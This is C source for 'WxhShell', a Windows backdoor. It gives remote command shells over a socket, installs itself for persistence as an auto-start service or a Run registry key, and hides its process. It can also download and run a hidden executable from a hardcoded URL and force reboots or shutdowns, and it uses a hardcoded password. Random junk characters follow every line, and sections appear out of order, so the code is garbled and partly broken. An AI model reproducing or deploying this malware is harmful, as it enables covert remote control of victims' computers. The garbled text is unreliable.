    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mH6\8I  
    else { ` "Lk@  
    closesocket(wsh); o=C:=  
    ExitThread(0); 0Sx$6:-~  
    } qg1tDN`s  
    break; SJ*qgI?}T  
    } \l-JU  
  // 获取shell `?=Y^+*!-  
  case 's': { *{<46 0`!q  
    CmdShell(wsh); ]Ub"NLYV  
    closesocket(wsh); grVPu! B;  
    ExitThread(0); A9Kt^HR  
    break;  9q[ d?1  
  } V10JExsJ  
  // 退出 ;r?s7b/>  
  case 'x': { wNvq['P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jo'~oZ$  
    CloseIt(wsh); (! a;}V<7  
    break; 03Uj0.Z|7  
    } 4p<c|(f#  
  // 离开 i4Da'Uk  
  case 'q': { E\1e8Wyh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1 EL#T&  
    closesocket(wsh); 4LXC;gZ  
    WSACleanup(); aO &!Y\=@  
    exit(1); yByxy-~  
    break; Mh "iyDGA  
        } {&TP&_|H  
  } 9s4>hw@u  
  } {iXQUj  
)6b`1o!7  
  // 提示信息 VW\xuP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T3bYj|rh=  
} w5<&b1:  
  } aOhi<I`*  
\%}w7J;  
  return; Sc14F Fs  
} +k;][VC[O  
zD@RW<M  
// shell模块句柄 NjFlV(XT}  
int CmdShell(SOCKET sock) IE:;`e:\D  
{ c8h71Cr  
STARTUPINFO si; BN1,R] *;  
ZeroMemory(&si,sizeof(si)); eNDc220b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "N3!!3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [hJ ASX9  
PROCESS_INFORMATION ProcessInfo; b Bkg/p]  
char cmdline[]="cmd"; n,#o6ali>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]u|5ZCv0  
  return 0; {VE1c'E"V?  
} +<Y1`kV)  
T s9go  
// 自身启动模式 ZFC&&[%-sG  
int StartFromService(void) @rE+H 5  
{ M~U>" kX  
typedef struct 0ky3rFSh1  
{ 1VA%xOURh  
  DWORD ExitStatus; II]-mb  
  DWORD PebBaseAddress; nmw#4yHYy:  
  DWORD AffinityMask; . efbORp  
  DWORD BasePriority; 7V%b!R}  
  ULONG UniqueProcessId; <YAs0  
  ULONG InheritedFromUniqueProcessId; 09 v m5|  
}   PROCESS_BASIC_INFORMATION; )O,+'w?  
=AP0{  
PROCNTQSIP NtQueryInformationProcess; [{PmU~RMYf  
Iu ve~ugO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J9&#);(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; awgS5We|  
_iH:>2p5R  
  HANDLE             hProcess; _b! TmS#F1  
  PROCESS_BASIC_INFORMATION pbi; LIRL`xU7  
, }B{)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YeI|&FMX  
  if(NULL == hInst ) return 0; ^Sc48iDc  
OzV|z/R2'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r!c7{6N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'XI-x[w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7I0K= 'D7  
&;[0.:;  
  if (!NtQueryInformationProcess) return 0; w|U 7pUz  
IAd[_<9D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P EMuIYm$  
  if(!hProcess) return 0; T,uJO<  
;F:Qz^=.a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ejpSbVJ  
Bgs,6:  
  CloseHandle(hProcess); \ccCrDz  
Lpk`qJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F~l:W QAj  
if(hProcess==NULL) return 0; 5XZ\7Z|  
m^;A]0h+  
HMODULE hMod; |?LUt@r;  
char procName[255]; /mQ9} E4X  
unsigned long cbNeeded; s;,ulME  
Ym wb2]M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "b0!h6$!H  
]m\:XhI*<  
  CloseHandle(hProcess); S~ZRqL7Z O  
w1)SuMFK_  
if(strstr(procName,"services")) return 1; // 以服务启动 i%otvDn1  
J%P{/nR  
  return 0; // 注册表启动 Fv3:J~Yf  
}  L{u1_  
$+n5l@W  
// 主模块 !}J19]\  
int StartWxhshell(LPSTR lpCmdLine) R 5Cy%  
{ 8O.5ML{  
  SOCKET wsl; `cqZ;(^  
BOOL val=TRUE; J1d|L|M  
  int port=0; GD<pqm`vVY  
  struct sockaddr_in door; *h~(LH"tN  
VMW<?V 2Z  
  if(wscfg.ws_autoins) Install(); u4~( 0  
nE"0?VNW$  
port=atoi(lpCmdLine); M7 gM#bv>L  
wb6$R};?  
if(port<=0) port=wscfg.ws_port; e:(~=9}Li  
U/:x<Y$ tj  
  WSADATA data; eQsoZQA1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ixJwv\6Y  
C-;}a%c"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    p/?TU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'p4b8:X  
  door.sin_family = AF_INET; l?zWi[Zf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =ve, !  
  door.sin_port = htons(port); Nu6]R677Y  
UY&DXIPM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (=w ff5U  
closesocket(wsl); V2*m/JyeB  
return 1; 5YgUk[J  
} 0u8(*?  
5U.,iQ(d  
  if(listen(wsl,2) == INVALID_SOCKET) { ) q'~<QxI\  
closesocket(wsl); uH8`ipX  
return 1; q^+Z>   
} @-BgPDi.Z  
  Wxhshell(wsl); f2FGod<CzN  
  WSACleanup(); ,E8~^\HV  
Ge4 tc  
return 0; 6| {uZNz  
d5tp w$A  
} .E0*lem'hE  
c$]NXKcA  
// 以NT服务方式启动 Zbjj>*2%^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f n'N^  
{ }{@RO./)[  
DWORD   status = 0; O:(%m  
  DWORD   specificError = 0xfffffff; QLAyX*%B  
RYKV?f#[H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +hd1|qa4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,__|SnA.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s`"ALn8m  
  serviceStatus.dwWin32ExitCode     = 0; .X(ocs$}  
  serviceStatus.dwServiceSpecificExitCode = 0; AZadNuL/  
  serviceStatus.dwCheckPoint       = 0; T#w *5Qf  
  serviceStatus.dwWaitHint       = 0; d^jIsE`  
cRC)99HP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N>_d {=P  
  if (hServiceStatusHandle==0) return; c}g:vh  
X5eTj  
status = GetLastError(); }lt]]094,  
  if (status!=NO_ERROR) N3g?gb"Ex)  
{ QTjOLK$e$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !;YQQ<D  
    serviceStatus.dwCheckPoint       = 0; QprzlxB  
    serviceStatus.dwWaitHint       = 0; <jRs/?1R  
    serviceStatus.dwWin32ExitCode     = status; Gq r(.  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y/w) VV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9 ulr6  
    return; fO{E65uA  
  } B^G{k3]t  
@X6|[r&Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; },5_h0  
  serviceStatus.dwCheckPoint       = 0; 7w=%aW|  
  serviceStatus.dwWaitHint       = 0; S+C^7# lT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); to*<W,I  
} U[8Cg  
P=9Zm  
// 处理NT服务事件,比如:启动、停止 ^NTOZ0x~#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =xX\z\[A  
{ 6">jf #pE  
switch(fdwControl) 'zhw]L;'g  
{ 0yxMIX  
case SERVICE_CONTROL_STOP: 84*Fal~Som  
  serviceStatus.dwWin32ExitCode = 0; tr\Vr;zd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1f1J'du  
  serviceStatus.dwCheckPoint   = 0; <U$A_ ]*w  
  serviceStatus.dwWaitHint     = 0; ,/g\;#:{@]  
  { nNff~u)I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x9NLJI21/  
  } GcPhT  
  return; md/Z[du:'  
case SERVICE_CONTROL_PAUSE: uz+b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p }bTI5  
  break; fE/8;v!=  
case SERVICE_CONTROL_CONTINUE: -j_J 1P0,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8}W06k>)%  
  break; cuP5cL/Y  
case SERVICE_CONTROL_INTERROGATE: S:"t]gbF =  
  break; %.R_[.W  
}; ngN_,x 7yc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZR'q.y[k)  
} U < p kg  
$|YIr7?R  
// 标准应用程序主函数 c#e_Fs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8EPV\M1%  
{ ft[g1  
^eEj 5Rh  
// 获取操作系统版本 B"I> mw  
OsIsNt=GetOsVer(); :*!u\lV\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RfB""b8]=  
=#<hT s  
  // 从命令行安装 'gojP  
  if(strpbrk(lpCmdLine,"iI")) Install(); _ QM  
Al`[Iu&  
  // 下载执行文件 Ga%]$4u  
if(wscfg.ws_downexe) { "/?*F\5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $E4W{ad2jW  
  WinExec(wscfg.ws_filenam,SW_HIDE); K,}"v ;||  
} sHrpBm&O4  
(;a O%  
if(!OsIsNt) { J7.bFW'  
// 如果时win9x,隐藏进程并且设置为注册表启动 `B6{y9J6  
HideProc(); rQ'tab.,]  
StartWxhshell(lpCmdLine); v) q6  
} WU1o4&OF  
else K0\a+6kh  
  if(StartFromService()) Wx/!My u  
  // 以服务方式启动 WJU` g  
  StartServiceCtrlDispatcher(DispatchTable); j#U?'g  
else Y(SgfWeK@1  
  // 普通方式启动 tGd<{nF%2  
  StartWxhshell(lpCmdLine); |b/J$.R  
-i'T!Qg1  
return 0; /)de`k"  
} ('uYA&9  
q'2PG@  
ooIMN =  
>UJ&noUD#:  
=========================================== %i%Xi+{3  
1 qUdj[Bj  
NI(`o8fN  
"`"j2{9|e!  
^;s`[f|w  
i:kWO7aP  
" H]=3^g64  
`CK;,>i   
#include <stdio.h> X{#@ :z$  
#include <string.h> ^^?DYC   
#include <windows.h> n/@/yJ<EFi  
#include <winsock2.h> i? AZ|Ha[  
#include <winsvc.h> Lx?bO`=qg7  
#include <urlmon.h> L238l  
e|Sg?ocR  
#pragma comment (lib, "Ws2_32.lib") `z` `d*_  
#pragma comment (lib, "urlmon.lib") @mJN  
9'toj%XQ  
#define MAX_USER   100 // 最大客户端连接数 Hs=!.tZ,  
#define BUF_SOCK   200 // sock buffer 7^iF,N  
#define KEY_BUFF   255 // 输入 buffer qW7"qw=   
NTL#!  
#define REBOOT     0   // 重启 m4Wn$Z  
#define SHUTDOWN   1   // 关机 E}@8sY L  
f/;\/Q[Z7  
#define DEF_PORT   5000 // 监听端口 45MK|4\Y_  
t48(GKF  
#define REG_LEN     16   // 注册表键长度 +H&_Z38n  
#define SVC_LEN     80   // NT服务名长度 iW"L!t#\|  
1wc -v@E  
// 从dll定义API -'PpY302  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;@d %<yMf@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XFu@XUk!K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N0vd>b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HqXo;`Yy}  
E;4Ns  
// wxhshell配置信息 2hJ{+E.m  
struct WSCFG { Y[~6f,?^  
  int ws_port;         // 监听端口 ]Hd 0 Y%  
  char ws_passstr[REG_LEN]; // 口令 50DPzn  
  int ws_autoins;       // 安装标记, 1=yes 0=no NNl/'ge <\  
  char ws_regname[REG_LEN]; // 注册表键名 M@'V4oUz  
  char ws_svcname[REG_LEN]; // 服务名 (C-z8R Z6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U[A*A^$c}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ab2g),;c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CY>NU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rIb[gm)Rk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (FjgnsW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u\e#_*>  
j^%i?BWw  
}; btOTDqG`a  
=H,cwSE+%  
// default Wxhshell configuration 7t04!dD}  
struct WSCFG wscfg={DEF_PORT, CMBW]b|  
    "xuhuanlingzhe", <go~WpA|r  
    1, qz0v1057#  
    "Wxhshell", 4[J3HLQ  
    "Wxhshell", z}Z`kq+C  
            "WxhShell Service", 7lVIN&.=  
    "Wrsky Windows CmdShell Service", #Y5I_:k  
    "Please Input Your Password: ", F7;xf{n<  
  1, S-rqrbr|AT  
  "http://www.wrsky.com/wxhshell.exe", tJwF h6  
  "Wxhshell.exe" l#~Fe D  
    }; 40#KcbMa|  
7 YK+TGmU^  
// 消息定义模块 huF L [  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G wW#Ww;Oc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N9n1s2;o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4C*3#/TR  
char *msg_ws_ext="\n\rExit."; `>sqP aD  
char *msg_ws_end="\n\rQuit."; DYWC]*  
char *msg_ws_boot="\n\rReboot..."; 4iLU "~  
char *msg_ws_poff="\n\rShutdown..."; iO!lG  
char *msg_ws_down="\n\rSave to "; ,{Ab=xV  
]~qN<x  
char *msg_ws_err="\n\rErr!"; 6 gKOpa  
char *msg_ws_ok="\n\rOK!"; z$Nk\9wm  
kH&ZPAI  
char ExeFile[MAX_PATH]; fjWh}w8  
int nUser = 0; gNqV>p  
HANDLE handles[MAX_USER]; 2 YN` :"  
int OsIsNt; GBphab|  
Qi[D&47XO  
SERVICE_STATUS       serviceStatus; ob00(?;H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NZTYT\7  
4 P;O8KA5y  
// 函数声明 `{wku@  
int Install(void); kW!:bh  
int Uninstall(void); =P#!>*\ar  
int DownloadFile(char *sURL, SOCKET wsh); \a6)t%u  
int Boot(int flag); 9/$P_Q:3  
void HideProc(void); $dnHUBB  
int GetOsVer(void); Nb#7&_f=  
int Wxhshell(SOCKET wsl); WsV3>=@f  
void TalkWithClient(void *cs); ) ,hj7  
int CmdShell(SOCKET sock); \Zv =?\  
int StartFromService(void); dI !/:x  
int StartWxhshell(LPSTR lpCmdLine); btF%}<o)  
_Y|kX2l S@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cik@QN<[0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V[I<9xaE  
-$)Et|  
// 数据结构和表定义 A C^[3  
SERVICE_TABLE_ENTRY DispatchTable[] = pHvE`s"Ea  
{ 68c;Vb  
{wscfg.ws_svcname, NTServiceMain}, yy } 0_  
{NULL, NULL} |d5L Ifb(  
}; -{*V)J_Co  
1!`768  
// 自我安装 /a(zLHyz)  
int Install(void) e\_6/j7'  
{ '&QT}B  
  char svExeFile[MAX_PATH]; .V3Dql@z"  
  HKEY key; l1)pr{A  
  strcpy(svExeFile,ExeFile); Qyjuzfmz  
'U"3'jh  
// 如果是win9x系统,修改注册表设为自启动 :b ;1P@W<  
if(!OsIsNt) { CCY|FK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k@aP&Z~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8@aS9 th$  
  RegCloseKey(key); Rdg0WT*;j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M0zD)@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W`'|&7~  
  RegCloseKey(key); #(IMRdUf  
  return 0; 7h]R{_  
    } a1`cI5n  
  } .:ZXtU  
} &iOtw0E  
else { Hm* vKFhz  
L||yQH7n  
// 如果是NT以上系统,安装为系统服务 ZY!pw6R1>*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 02^(z6K'&?  
if (schSCManager!=0) 1:!rw,Jzl`  
{ R$fIb}PDr  
  SC_HANDLE schService = CreateService T+nC>}*jgJ  
  ( 0o|,& K  
  schSCManager, _A|\.(t  
  wscfg.ws_svcname, W>s'4C`  
  wscfg.ws_svcdisp, C9H11g7{  
  SERVICE_ALL_ACCESS, <M OL{jan  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,;P`Mf'YC  
  SERVICE_AUTO_START, G^ZkY  
  SERVICE_ERROR_NORMAL, /mwr1GU  
  svExeFile, un^IQMIh  
  NULL, _O;~ }N4u  
  NULL, \ui^ d  
  NULL, 4D8yb|o  
  NULL, *6D%mrK  
  NULL eH!|MHe  
  ); $ XsQ e  
  if (schService!=0) IaTq4rt  
  {  "$Iw Q  
  CloseServiceHandle(schService); j'*p  
  CloseServiceHandle(schSCManager); x\hn;i<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !J=;Z9  
  strcat(svExeFile,wscfg.ws_svcname); !en F8a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #KNq:@wp6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gZEA;N:H%<  
  RegCloseKey(key); DVoV:pk  
  return 0; q&$0i   
    } 3d'ikkXK  
  } y [9}[NMZ  
  CloseServiceHandle(schSCManager); A%*DQ1N  
} R, w54},  
} }Q=se[((  
Zc3:9   
return 1; 5652'p  
} ms\/=96F  
ar qLp|  
// 自我卸载 p@8^gc  
int Uninstall(void) FV6he [,  
{ 7k t7^V<  
  HKEY key; =E}%>un  
`{|}LFS>  
if(!OsIsNt) { eN<pU%7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  mz VuQ  
  RegDeleteValue(key,wscfg.ws_regname); v6P~XK}G  
  RegCloseKey(key); R`C_CsXir  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "">fn(  
  RegDeleteValue(key,wscfg.ws_regname); %cr]ZR  
  RegCloseKey(key); PDq}Tq  
  return 0; 8P<UO  
  } 9MtJo.A  
} Ul713Bjz  
} {8Jk=)(md  
else { <#p|z`N  
-KwL9J4u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ilRm}lU|x  
if (schSCManager!=0) %QsSR'`  
{ .xz,pn}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +z jzO]8  
  if (schService!=0) svq9@!go  
  { M`C~6Mf+  
  if(DeleteService(schService)!=0) { #:vDBP05.m  
  CloseServiceHandle(schService); qgC-@I  
  CloseServiceHandle(schSCManager); v_ nBh,2  
  return 0;  `\|3 ~_v  
  } _/]:=_bf_z  
  CloseServiceHandle(schService); G\:psx/  
  } M*~v'L_sI  
  CloseServiceHandle(schSCManager); H8<7#  
} :&1=8^BY  
} rGn5Q V  
%hQMC'c  
return 1; kk /+Vx~  
} %j[LRY/  
nhQ44qRgQ  
// 从指定url下载文件 AeY$.b  
int DownloadFile(char *sURL, SOCKET wsh) %is,t<G  
{  ny  
  HRESULT hr; 3dX=xuQ%/  
char seps[]= "/"; @1/}-.(n  
char *token; cdJ`Gk  
char *file; (@WDvgi(  
char myURL[MAX_PATH]; cJHABdK-  
char myFILE[MAX_PATH]; }*B qi7E>  
KXx@ {cv  
strcpy(myURL,sURL); PQ&Q71  
  token=strtok(myURL,seps); /_:T\`5uO  
  while(token!=NULL) @O<@f8-  
  { {glqWFT  
    file=token; A"BtVy[[9  
  token=strtok(NULL,seps); V6z@"+  
  } wHt#'`5  
uzVG q!'H  
GetCurrentDirectory(MAX_PATH,myFILE); I_zk'  
strcat(myFILE, "\\"); D*XZT{1g  
strcat(myFILE, file); g]==!!^<D  
  send(wsh,myFILE,strlen(myFILE),0);  $||ns@F+  
send(wsh,"...",3,0); RI5g+Du?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lC /Hib  
  if(hr==S_OK) ET,0ux9F  
return 0; %Vw|5yA4  
else BDm88< ]  
return 1; [V2omSZo  
r(,= uLc  
} da9*9yN  
(pT(&/\8  
// 系统电源模块 co$Hi9JE  
int Boot(int flag) yBPt%EF  
{ }rKJeOo^x?  
  HANDLE hToken; ,#P,B ;r~  
  TOKEN_PRIVILEGES tkp; &Hlm{FHU  
7z/(V\9B  
  if(OsIsNt) { <m Ju v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +3/k/W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *w'q  
    tkp.PrivilegeCount = 1; Q3NPwM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wr3_Bf3]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xs2,t*  
if(flag==REBOOT) { :Wyn+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;gxN@%}@  
  return 0; xZ.~:V03\t  
} W9&0k+#^  
else { 93E,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C@TN5?Z  
  return 0; /-!&k  
} SE,o7_k'S  
  } .0nn0)"  
  else { 6?3/Ul }  
if(flag==REBOOT) { J{Y6fHFi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IgPV#  
  return 0; d]O_E4X*  
} lgkl? 0!  
else { QvG56:M3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c N02roQl  
  return 0; ] ?DDCew  
} Q(~3pt  
} @9}),hl`  
zdxT35h  
return 1; /v}P)&  
} zuC58B  
<ICZ"F`S  
// win9x进程隐藏模块 1A7%0/K-]  
void HideProc(void) lv<iJH\  
{ .-SDo"K.h  
g  ,/a6M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u @{E{  
  if ( hKernel != NULL ) pY+.SuM  
  { 7ei>L]gm%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q!4i_)rM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  ${A5-  
    FreeLibrary(hKernel); W4)kkJ  
  } !Gln Q`T  
&Q\_;  
return; ! (2-(LgA  
} 9 9Ba{qj  
!MZ+-dpK  
// 获取操作系统版本 Z~r[;={,  
int GetOsVer(void) G{@C"H[$<  
{ Ni+3b  
  OSVERSIONINFO winfo; I#"t'=9H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L8K0^~Mk  
  GetVersionEx(&winfo); 4` '8fe/"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [8,PO  
  return 1; O0@w(L-  
  else 6eOrs-ty  
  return 0; mND XzT&  
} YS]>_  
EKqi+T^=F  
// 客户端句柄模块 lp,\]]  
int Wxhshell(SOCKET wsl) RY9+ 9i  
{ UH5w7M  
  SOCKET wsh; EoKC8/  
  struct sockaddr_in client; z7-`Y9Ypd  
  DWORD myID; +O)]^"TG  
3^!Hl8P7  
  while(nUser<MAX_USER) Q Oz9\,C  
{ 6exRS]BI  
  int nSize=sizeof(client);  DZ^=*.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y8)}P WMs  
  if(wsh==INVALID_SOCKET) return 1; {*N^C@  
.4wTjbO6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fJX\'Rc\  
if(handles[nUser]==0) -u6}T!  
  closesocket(wsh); o:_^gJ+|  
else sT)6nV  
  nUser++; ,VAp>x+O  
  } N*~_\x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >Y}7[XK  
UQ5BH%EPb  
  return 0; C1V# ?03eI  
} !tI=`Ml[  
3DH.4@7P  
// 关闭 socket pss6Oz8  
void CloseIt(SOCKET wsh) _)Qy4[S=d  
{ {T&v2u#S  
closesocket(wsh); Y5HfN[u^7  
nUser--; 5d+<EF+N  
ExitThread(0); 4_tR9w"  
} g]za"U|g  
0Qm"n6NQ  
// 客户端请求句柄 j8pFgnQ  
void TalkWithClient(void *cs) SC'BmR"ox  
{ ^Z2kq2}a  
, 7Xqte  
  SOCKET wsh=(SOCKET)cs; *9J1$Wa  
  char pwd[SVC_LEN]; (B&h;U$HAH  
  char cmd[KEY_BUFF]; z/S,+!|z  
char chr[1]; O7v]p  
int i,j; M:_!w[NiLp  
So#dJ>   
  while (nUser < MAX_USER) { iSlFRv?a  
o w2$o\hC  
if(wscfg.ws_passstr) { =HMmrmz:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gC`)]*'tE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tj`yJ!0  
  //ZeroMemory(pwd,KEY_BUFF); ^\:yf.k  
      i=0; BBvZeG $Y  
  while(i<SVC_LEN) { L!gDFZr  
jPnO@ H1  
  // 设置超时 z!:'V]  
  fd_set FdRead; y?>#t^  
  struct timeval TimeOut; 27>a#vCT  
  FD_ZERO(&FdRead); va5FxF*%  
  FD_SET(wsh,&FdRead); _F izgs  
  TimeOut.tv_sec=8; \83sSw  
  TimeOut.tv_usec=0; a"QU:<-v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |1"!k A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  Vu [:A  
hY+R'9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _9NVE|c;  
  pwd=chr[0]; ET)>#zp+s  
  if(chr[0]==0xd || chr[0]==0xa) { a+41Ojv (  
  pwd=0; .jU Z  
  break; >!}`%pk(  
  }  QsOhz  
  i++; =E y`M#t;  
    } n>P! u71  
Noh?^@T`Ov  
  // 如果是非法用户,关闭 socket IZ8y}2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OC_M4{9/  
} J3G7zu8  
_UkmYZ/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ) r9b:c\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o 7G> y#Y  
f jI#-  
while(1) { !9r:&n.\  
oEu>}JD  
  ZeroMemory(cmd,KEY_BUFF); h>wcT VF  
m"Qq{p|'  
      // 自动支持客户端 telnet标准   ^mg*;8e Ga  
  j=0; [T`}yb@  
  while(j<KEY_BUFF) { 3sFeP &  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8Mu;U3cIW  
  cmd[j]=chr[0]; U<47WfcW  
  if(chr[0]==0xa || chr[0]==0xd) { Pr+~Kif  
  cmd[j]=0; #dc1pfL!y{  
  break; )p8I @E  
  } B,_`btJh  
  j++; ''S&e  
    } -#?<05/C>  
qzK("d  
  // 下载文件 xQu eE{  
  if(strstr(cmd,"http://")) { /APcL5:=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wGJjA=C  
  if(DownloadFile(cmd,wsh)) knT.l"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m&IsDAn  
  else %M&3VQ9w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aq Mc6N`z  
  } Ftv8@l  
  else { \iU]s\{).  
[$a<b/4  
    switch(cmd[0]) { 5| w&dM  
  G#[* |+f8  
  // 帮助 alm- r-Kb3  
  case '?': { 8$vK5Dnn8  
